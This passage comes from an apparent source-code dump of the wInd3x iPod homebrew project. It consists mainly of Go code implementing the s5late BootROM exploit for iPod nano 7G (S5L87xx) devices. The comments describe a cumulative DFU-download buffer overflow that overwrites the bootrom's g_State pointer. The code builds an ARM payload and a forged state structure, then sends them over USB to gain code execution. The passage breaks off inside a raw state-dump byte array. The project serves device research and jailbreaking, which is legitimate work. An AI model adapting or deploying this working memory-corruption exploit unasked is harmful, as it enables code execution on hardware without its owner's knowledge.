{\n\t\treturn fmt.Errorf(\"clean failed: %w\", err)\n\t}\n\tslog.Info(\"Running rce....\")\n\tif _, err := exploit.RCE(usb, ep, payload, nil); err != nil {\n\t\treturn fmt.Errorf(\"failed to execute haxed dfu payload: %w\", err)\n\t}\n\n\t// Check descriptor got changed.\n\tp, err = usb.GetStringDescriptor(2)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"retrieving string descriptor: %v\", err)\n\t}\n\tif want, got := ProductString, p; want != got {\n\t\treturn fmt.Errorf(\"string descriptor got unexpected result, wanted %q, got %q\", want, got)\n\t}\n\tslog.Info(\"Haxed DFU running!\")\n\n\treturn nil\n\n}\n"
  },
  {
    "path": "pkg/exploit/s5late_n7g.go",
    "content": "package exploit\n\n// This implements gsch's s5late exploit for the S5L87xx BootROMs.\n//\n// The vulnerability exploited lies in the DFU download handler - while the\n// number of data (wLength) in each individual download operation is checked\n// against a maximum buffer size, cumulative writes are not. This means that we\n// can overflow the buffer by doing subsequent downloads.\n//\n// Overflowing past the buffer lets us override the g_State pointer at 2202fff4.\n// This is the main pointer used by the code to dereference access to the State\n// structure of the bootROM, which lives on the SVC stack and contains pretty\n// much the entire state of the bootrom codebase, including USB handlers and DFU\n// handlers.\n//\n// Unfortunately, because that structure is very large and critical for the\n// operation of the bootrom, it needs to be painstakingly recreated from scratch\n// even if we just want to modify one field. The easiest way to do that is to\n// dump it from a running device. For <=N5G we can use the wInd3x bug to dump\n// it. For N6G/N7G we can use CUB3D's userspace ipod_sun exploit, as the\n// structure is not zeroed out by the time RetailOS is booted. There is\n// currently no known vulnerability to leak the State structure from a running\n// BootROM other than wInd3x.\n//\n// We have an exploit chain very similar to gsch's original S5Late code. But\n// instead of enabling CFW/HaxedDFU, we instead patch the Vendor USB interface\n// request to be a 'blx r0', thereby turning it into a wInd3x-compatible bug.\n// This then allows us to chain the rest of the wInd3x functionality/codebase\n// from a massively different bug. This isn't optimal, but it makes for less\n// code duplication.\n\nimport (\n\t\"bytes\"\n\t\"encoding/binary\"\n\t\"fmt\"\n\t\"log/slog\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/devices\"\n\t\"github.com/freemyipod/wInd3x/pkg/dfu\"\n\t\"github.com/freemyipod/wInd3x/pkg/uasm\"\n)\n\ntype S5LateParameters struct {\n\t// stateRaw are the raw bytes of the State structure from a running bootrom.\n\tstateRaw []byte\n\t// bufferLocation is the location of the DFU buffer in memory.\n\tbufferLocation uint32\n\t// magicalMysteryValue is the value located at 0x2202fff0 in SRAM, which if\n\t// overridden crashes the device - even though it does not seem to be read\n\t// or written by any software running on the iPod.\n\tmagicalMysteryValue uint32\n}\n\nfunc (p *S5LateParameters) DFUBufAddr() uint32 {\n\treturn p.bufferLocation\n}\n\nfunc (p *S5LateParameters) ExecAddr() uint32 {\n\treturn 0x2202de0c\n}\n\nfunc (p *S5LateParameters) USBBufAddr() uint32 {\n\treturn 0x2202e300\n}\n\nfunc (p *S5LateParameters) SetupPacket() []byte {\n\treturn []byte{0xc1, 0xfe, 0xff, 0xea, 0x00, 0x00, 0x00, 0x00}\n}\n\nfunc (p *S5LateParameters) NANDInit(bank uint32) ([]uasm.Statement, error) {\n\treturn nil, fmt.Errorf(\"unimplemented\")\n}\n\nfunc (p *S5LateParameters) NANDReadPage(bank, page, offset uint32) ([]uasm.Statement, uint32) {\n\tpanic(\"unimplemented\")\n}\n\nfunc (p *S5LateParameters) NANDIdentify() ([]uasm.Statement, uint32) {\n\tpanic(\"unimplemented\")\n}\n\nfunc (p *S5LateParameters) NORInit(spino uint32) ([]uasm.Statement, error) {\n\treturn nil, fmt.Errorf(\"unimplemented\")\n}\n\nfunc (p *S5LateParameters) NORRead(spino, offset uint32) ([]uasm.Statement, uint32) {\n\tpanic(\"unimplemented\")\n}\n\nfunc (p *S5LateParameters) HaxedDFUPayload() []uasm.Statement {\n\t// Same as N4G/N5G, just can't be bothered to express that at the type\n\t// system level.\n\tep2 := epNano45G{ret1Addr: 0x2000_0f0c}\n\treturn ep2.HaxedDFUPayload()\n}\n\nfunc (p *S5LateParameters) TrampolineAddr() uint16 {\n\t// No real trampoline, the requested class handler (0) is always buggy after\n\t// we make it so via the s5late vuln.\n\treturn 0\n}\n\nfunc (p *S5LateParameters) HandlerFooter(addr uint32) []uasm.Statement {\n\treturn []uasm.Statement{\n\t\t// Return 0x40 bytes of requested address.\n\t\tuasm.Ldr{Dest: uasm.R0, Src: uasm.Constant(addr)},\n\t\tuasm.Mov{Dest: uasm.R1, Src: uasm.Immediate(0x40)},\n\t\tuasm.Ldr{Dest: uasm.R2, Src: uasm.Constant(0x2000a654)},\n\t\tuasm.Blx{Dest: uasm.R2},\n\t\t// Fixup LR (after trampoline blx messes it up)\n\t\tuasm.Ldr{Dest: uasm.LR, Src: uasm.Constant(0x20004fb0)},\n\t\tuasm.Bx{Dest: uasm.LR},\n\t}\n}\n\nfunc (p *S5LateParameters) AESCall() []uasm.Statement {\n\treturn makeCall(0x20002264, 0x2202db00, 0x2202db00, 0x40, 1, 0, 0)\n}\n\nfunc (p *S5LateParameters) DisableICache() []uasm.Statement {\n\t// Turns out that disabling ICache actually breaks DFU mode for some reason.\n\t// This doesn't make sense, but I'm not going to argue.\n\t//return makeCall(0x200004b8)\n\treturn []uasm.Statement{}\n}\n\nfunc (p *S5LateParameters) Prepare(usb devices.Usb) error {\n\t// Set up a DFU buffer that will start at bufferLocation and override until\n\t// pretty much the end of SRAM.\n\n\tbuf := bytes.NewBuffer(nil)\n\n\tbuf.Write(bytes.Repeat([]byte{0}, 0x880))\n\n\t// Prepare first stage payload.\n\tpayloadAddr := p.bufferLocation + uint32(buf.Len())\n\tpayload := uasm.Program{\n\t\tAddress: payloadAddr,\n\t\tListing: []uasm.Statement{\n\t\t\t// R0 <- address of original state\n\t\t\tuasm.Ldr{Dest: uasm.R0, Src: uasm.Constant(0x2202ba3c)},\n\t\t\t// R1 <- R0 + offset of vendor handler in state\n\t\t\tuasm.Add{Dest: uasm.R1, Src: uasm.R0, Compl: uasm.Immediate(0x54 + 5*4)},\n\t\t\t// R2 <- blx r0 instr\n\t\t\tuasm.Ldr{Dest: uasm.R2, Src: uasm.Constant(0x2000_0474)},\n\t\t\t// [R1] <- R2, override vendor handler in original state\n\t\t\tuasm.Str{Src: uasm.R2, Dest: uasm.Deref(uasm.R1, 0)},\n\n\t\t\t// Reset DFU state fields.\n\t\t\tuasm.Ldr{Dest: uasm.R2, Src: uasm.Constant(0)},\n\t\t\tuasm.Str{Src: uasm.R2, Dest: uasm.Deref(uasm.R0, 0x08)},\n\t\t\tuasm.Str{Src: uasm.R2, Dest: uasm.Deref(uasm.R0, 0x0c)},\n\t\t\tuasm.Str{Src: uasm.R2, Dest: uasm.Deref(uasm.R0, 0x10)},\n\n\t\t\t// R2 <- address of pointer to state\n\t\t\tuasm.Ldr{Dest: uasm.R2, Src: uasm.Constant(0x2202fff8)},\n\t\t\t// [R2] <- R0, use original state again\n\t\t\tuasm.Str{Src: uasm.R0, Dest: uasm.Deref(uasm.R2, 0)},\n\n\t\t\tuasm.Bx{Dest: uasm.LR},\n\t\t},\n\t}\n\tpayloadBytes := payload.Assemble()\n\tbuf.Write(payloadBytes)\n\n\t// New state to override.\n\tnewStateAddr := p.bufferLocation + uint32(buf.Len())\n\tvar newState state\n\tif binary.Size(&newState) != len(p.stateRaw) {\n\t\treturn fmt.Errorf(\"raw state size (0x%x) doesn't match struct size (0x%x)\", len(p.stateRaw), binary.Size(&newState))\n\t}\n\tif err := binary.Read(bytes.NewBuffer(p.stateRaw), binary.LittleEndian, &newState); err != nil {\n\t\treturn fmt.Errorf(\"could not unpack raw state: %w\", err)\n\t}\n\tnewState.DFURecursiveState = newStateAddr\n\tnewState.USBUploadComplete = 0\n\tnewState.DFUImageReady = 0\n\tnewState.DFULoopRun = 1\n\tnewState.DFUStatusData = [6]byte{\n\t\t0, 21, 37, 42, 5, 0,\n\t}\n\tnewState.DFUOnUploadChunk = payloadAddr\n\tbinary.Write(buf, binary.LittleEndian, &newState)\n\n\t// We want to overflow into:\n\t//   2202_fff0: magical mystery value\n\t//   2202_fff4: (power?) state\n\t//   2202_fff8: g_State pointer (needs to point at new state)\n\t//   2202_fffc: g_Heap pointer (smashing it because might as well)\n\n\t// Pad until the mystery value.\n\tneedLength := (0x2202_fff0 - p.bufferLocation)\n\tleft := int(needLength) - buf.Len()\n\tif left < 0 {\n\t\treturn fmt.Errorf(\"buffer too large\")\n\t}\n\tbuf.Write(bytes.Repeat([]byte{0}, left))\n\n\tif buf.Len()+int(p.bufferLocation) != 0x2202_fff0 {\n\t\treturn fmt.Errorf(\"math seems off\")\n\t}\n\n\t// Write overrides.\n\tbinary.Write(buf, binary.LittleEndian, struct {\n\t\tmystery      uint32\n\t\tpowerState   uint32\n\t\tstatePointer uint32\n\t\theapPointer  uint32\n\t}{\n\t\tp.magicalMysteryValue, 0, newStateAddr, 0x2202d900,\n\t})\n\n\tif err := dfu.Clean(usb); err != nil {\n\t\treturn fmt.Errorf(\"clean: %w\", err)\n\t}\n\n\t// Send in 0x410 chunks.\n\t//\n\t// The funny chunk size is required so that we never end up with a total\n\t// transferred size of 0x800 - or the status handling code will think we're\n\t// done sending things over.\n\tbufBytes := buf.Bytes()\n\tblockno := uint16(0)\n\tfor {\n\t\tif len(bufBytes) == 0 {\n\t\t\tbreak\n\t\t}\n\t\tchunkSize := len(bufBytes)\n\t\tif chunkSize > 0x410 {\n\t\t\tchunkSize = 0x410\n\t\t}\n\t\tchunk := bufBytes[:chunkSize]\n\t\tbufBytes = bufBytes[chunkSize:]\n\n\t\tif err := dfu.SendChunk(usb, chunk, blockno); err != nil {\n\t\t\treturn fmt.Errorf(\"can't send chunk over DFU: %w\", err)\n\t\t}\n\t\tstatus, err := dfu.GetStatus(usb)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"dfu status failed: %w\", err)\n\t\t}\n\t\tif want, got := dfu.ErrOk, status.Err; want != got {\n\t\t\treturn fmt.Errorf(\"dfu status expected %d, got %d\", want, got)\n\t\t}\n\t\tblockno += 1\n\t}\n\n\tif err := dfu.ClearStatus(usb); err != nil {\n\t\treturn fmt.Errorf(\"dfu status clear failed: %w\", err)\n\t}\n\n\t// Trigger the hook, firing the payload above.\n\t_, err := dfu.ReceiveChunk(usb, 0x40, 0)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to trigger on_upload handler: %w\", err)\n\t}\n\n\tstatus, err := dfu.GetStatus(usb)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"dfu status failed: %w\", err)\n\t}\n\tif want, got := dfu.ErrOk, status.Err; want != got {\n\t\treturn fmt.Errorf(\"post upload dfu status expected %d, got %d\", want, got)\n\t}\n\n\tslog.Info(\"Used S5Late (by gsch) to reintroduce wInd3x-style bug.\")\n\n\treturn nil\n}\n\n// state is the main BootROM state structure. We don't need most of these fields\n// to be defined, but might as well.\ntype state struct {\n\tDFUBuf              uint32 // 0x00\n\tDFUBufSize          uint32 // 0x04\n\tDFUTransferredBytes uint32 // 0x08\n\tDFUCurrentSize      uint32 // 0x0c\n\n\tUSBUploadComplete byte    // 0x10\n\tPad1              [3]byte // 0x11\n\n\tDFUOnDetach          uint32 // 0x14\n\tDFUOnDownloadChunk   uint32 // 0x18\n\tDFUOnUploadChunk     uint32 // 0x1c\n\tDFUBootVerifyAndCopy uint32 // 0x20\n\n\tVTable uint32 // 0x24\n\n\tDFULoopRun    byte    // 0x28\n\tDFUImageReady byte    // 0x29\n\tPad2          [2]byte // 0x2a\n\n\tUnk2 uint32 // 0x2c\n\n\tIMGHeaderJumpOffset uint32  //0x30\n\tIMGHeaderVersion    [3]byte //0x34\n\tPad3                byte    // 0x37\n\tUnk4                uint32  // 0x38\n\n\tDFURecursiveState    uint32  // 0x3c\n\tDFUInterfaceSubClass byte    // 0x40\n\tDFUInterfaceProtocol byte    // 0x41\n\tDFUStatusData        [6]byte // 0x42\n\n\tCRC     uint32 // 0x48\n\tCRCable uint32 // 0x4c\n\n\tUSBState             byte   // 0x50\n\tCurrentConfiguration byte   // 0x51\n\tSelfPowered          uint16 // 0x52\n\n\tUSBHandlers [1]usbHandlers // 0x54\n\n\tUSBEndpointDescriptor      uint32  // 0x70\n\tUSBUnkInterfaceDescStuff   uint16  // 0x74\n\tUsbInterfaceNo             byte    // 0x76\n\tPad4                       byte    // 0x77\n\tUSBDeviceDescriptor        uint32  // 0x78\n\tUSBConfigurationDescriptor uint32  // 0x7c\n\tUSBStringDescZero          uint32  // 0x80\n\tUSBStringDescCount         byte    // 0x84\n\tPad5                       [3]byte // 0x85\n\n\tAESFlag     uint32 // 0x88\n\tSHAIntrFlag uint32 // 0x8c\n\tSHAOffset   uint32 // 0x90\n\tSHAHashed   uint32 // 0x94\n\tSHACont     uint32 // 0x98\n\n\tDMAChannelsUsed       byte    // 0x9c\n\tDMAChannel0Configured byte    // 0x9d\n\tPad6                  [2]byte // 0x9e\n\n\tUSBState2   byte    // 0xa0\n\tPad7        [3]byte // 0xa1\n\tUnk5        byte    // 0xa4\n\tUSBEP0State byte    // 0xa5\n\tPad8        [2]byte // 0xa6\n\n\tEP0RXBufAddr      uint32  // 0xa8\n\tEP0RXBufOffset    uint32  // 0xac\n\tEP0RXBufSize      uint32  // 0xb0\n\tEP0TXBufAddr      uint32  // 0xb4\n\tEP0TXBufOffset    uint32  // 0xb8\n\tEP0TXBufSize      uint32  // 0xbc\n\tEP0DMA            uint32  // 0xc0\n\tEP0Speed          byte    // 0xc4\n\tPad9              [3]byte // 0xc5\n\tTimerScaleFromDFU uint32  // 0xc8\n\n\tHeapChunks        [52]uint32  // 0xcc\n\tInterruptsForMode [0x380]byte // 0x19c\n\tUnk6              uint32      // 0x51c\n\tUnk7              uint32      // 0x520\n\tUnk8              uint32      // 0x524\n\tUnk9              uint32      // 0x528\n\n\tCertParserState [0x104]byte // 0x52c\n\n\tDFUBoot      uint32 // 0x630\n\tChipInfo     uint32 // 0x634\n\tCNCA         uint32 // 0x638\n\tCNSecureBoot uint32 // 0x63c\n}\n\ntype usbHandlers struct {\n\tInterfaceDescriptor uint32 // 0x00\n\tOnSetConfiguration  uint32 // 0x04\n\tIndiret             uint32 // 0x08\n\tOnSynchFrame        uint32 // 0x0c\n\tHandlerClass        uint32 // 0x10\n\tHandlerVendor       uint32 // 0x14\n\tUnk1                uint32 // 0x18\n}\n\nvar S5LateParametersForKind = map[devices.Kind]*S5LateParameters{\n\tdevices.Nano7: &S5LateParameters{\n\t\tstateRaw: []byte{\n\t\t\t0x00, 0xdb, 0x02, 0x22, 0x00, 0x08, 0x00, 0x00, 0x63, 0x48, 0x02,\n\t\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t\t0x00, 0x00, 0x48, 0x3c, 0x00, 0x20, 0x40, 0x3c, 0x00, 0x20, 0xc8,\n\t\t\t0x3b, 0x00, 0x20, 0x20, 0x00, 0x00, 0x20, 0x01, 0x02, 0x00, 0x00,\n\t\t\t0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x32, 0x2e, 0x30,\n\t\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x3c, 0xba, 0x02, 0x22, 0x01, 0x02,\n\t\t\t0x00, 0xb8, 0x0b, 0x00, 0x07, 0x00, 0xdc, 0xab, 0x44, 0x52, 0x44,\n\t\t\t0x48, 0xf0, 0x60, 0x05, 0x01, 0x00, 0x00, 0x8f, 0xbd, 0x00, 0x20,\n\t\t\t0xb4, 0x43, 0x00, 0x20, 0x74, 0x43, 0x00, 0x20, 0x00, 0x00, 0x00,\n\t\t\t0x00, 0x24, 0x3e, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x74,\n\t\t\t0xbd, 0x00, 0x20, 0x86, 0xbd, 0x00, 0x20, 0xf4, 0xb9, 0x02, 0x22,\n\t\t\t0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,\n\t\t\t0x00, 0x38, 0x00, 0x00, 0x00, 0xa7, 0x03, 0x00, 0x00, 0x00, 0x00,\n\t\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00,\n\t\t\t0x01, 0x00, 0x00, 0x00, 0xdb, 0x02, 0x22, 0x00, 0x00, 0x00, 0x00,\n\t\t\t0x00, 0x00, 0x00, 0x00, 0x7e, 0xba, 0x02, 0x22, 0x06, 0x00, 0x00,\n\t\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe3, 0x02, 0x22, 0x02, 0x00,\n\t\t\t0x00, 0x00, 0x00, 0x87, 0x93, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11,\n\t\t\t0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8,\n\t\t\t0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20,\n\t\t\t0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00,\n\t\t\t0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11,\n\t\t\t0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8,\n\t\t\t0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20,\n\t\t\t0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00,\n\t\t\t0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11,\n\t\t\t0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8,\n\t\t\t0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20,\n\t\t\t0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00,\n\t\t\t0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11,\n\t\t\t0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8,\n\t\t\t0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20,\n\t\t\t0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00,\n\t\t\t0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11,\n\t\t\t0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8,\n\t\t\t0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20,\n\t\t\t0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00,\n\t\t\t0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11,\n\t\t\t0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8,\n\t\t\t0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20,\n\t\t\t0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00,\n\t\t\t0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11,\n\t\t\t0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8,\n\t\t\t0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20,\n\t\t\t0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00,\n\t\t\t0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11,\n\t\t\t0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8,\n\t\t\t0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20,\n\t\t\t0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00,\n\t\t\t0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11,\n\t\t\t0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8,\n\t\t\t0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20,\n\t\t\t0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00,\n\t\t\t0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11,\n\t\t\t0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8,\n\t\t\t0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20,\n\t\t\t0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00,\n\t\t\t0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11,\n\t\t\t0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8,\n\t\t\t0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20,\n\t\t\t0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00,\n\t\t\t0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11,\n\t\t\t0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8,\n\t\t\t0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20,\n\t\t\t0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00,\n\t\t\t0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11,\n\t\t\t0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8,\n\t\t\t0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20,\n\t\t\t0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00,\n\t\t\t0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11,\n\t\t\t0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8,\n\t\t\t0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20,\n\t\t\t0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00,\n\t\t\t0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11,\n\t\t\t0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8,\n\t\t\t0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20,\n\t\t\t0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00,\n\t\t\t0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11,\n\t\t\t0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8,\n\t\t\t0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20,\n\t\t\t0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00,\n\t\t\t0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11,\n\t\t\t0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8,\n\t\t\t0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20,\n\t\t\t0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00,\n\t\t\t0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11,\n\t\t\t0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8,\n\t\t\t0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20,\n\t\t\t0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00,\n\t\t\t0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11,\n\t\t\t0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8,\n\t\t\t0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20,\n\t\t\t0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00,\n\t\t\t0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11,\n\t\t\t0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8,\n\t\t\t0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20,\n\t\t\t0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00,\n\t\t\t0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11,\n\t\t\t0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0x00,\n\t\t\t0x1c, 0x4e, 